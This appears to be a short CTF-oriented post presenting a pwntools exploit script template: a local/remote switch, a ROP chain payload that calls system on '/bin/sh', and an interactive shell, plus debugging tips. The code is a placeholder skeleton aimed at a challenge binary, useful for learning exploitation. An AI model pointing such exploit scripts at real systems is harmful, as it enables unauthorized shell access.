Pwntools exploit script generator

Every pwn solution starts from the same twenty lines. Generating them removes the transcription errors - the wrong architecture in context, a recvuntil that hangs because the prompt string was off by a space.

from pwn import *

context.binary = elf = ELF('./vuln')
context.log_level = 'debug'

LOCAL = True
io = process('./vuln') if LOCAL else remote('host.example', 1337)

io.recvuntil(b'> ')
payload = flat({
    offset: [pop_rdi, binsh, ret, system],
})
io.sendline(payload)
io.interactive()

The template also encodes the local-versus-remote switch that every exploit needs, because you develop against a local process with a debugger attached and then flip one flag to fire at the scoreboard. Getting that structure right at the start saves rewriting the script under time pressure once the exploit finally works.

The pieces worth knowing

• context.binary sets architecture, endianness, and bit width for every other helper at once - set it and p64 and flat do the right thing automatically.
• recvuntil on a distinctive prompt, not a fixed byte count. Byte counts break the moment output length changes.
• gdb.attach(io) drops you into a debugger with the process live at that point - the single most useful debugging tool in the library.
• context.log_level = 'debug' prints every byte sent and received, which is how you find out that the remote wanted \r\n.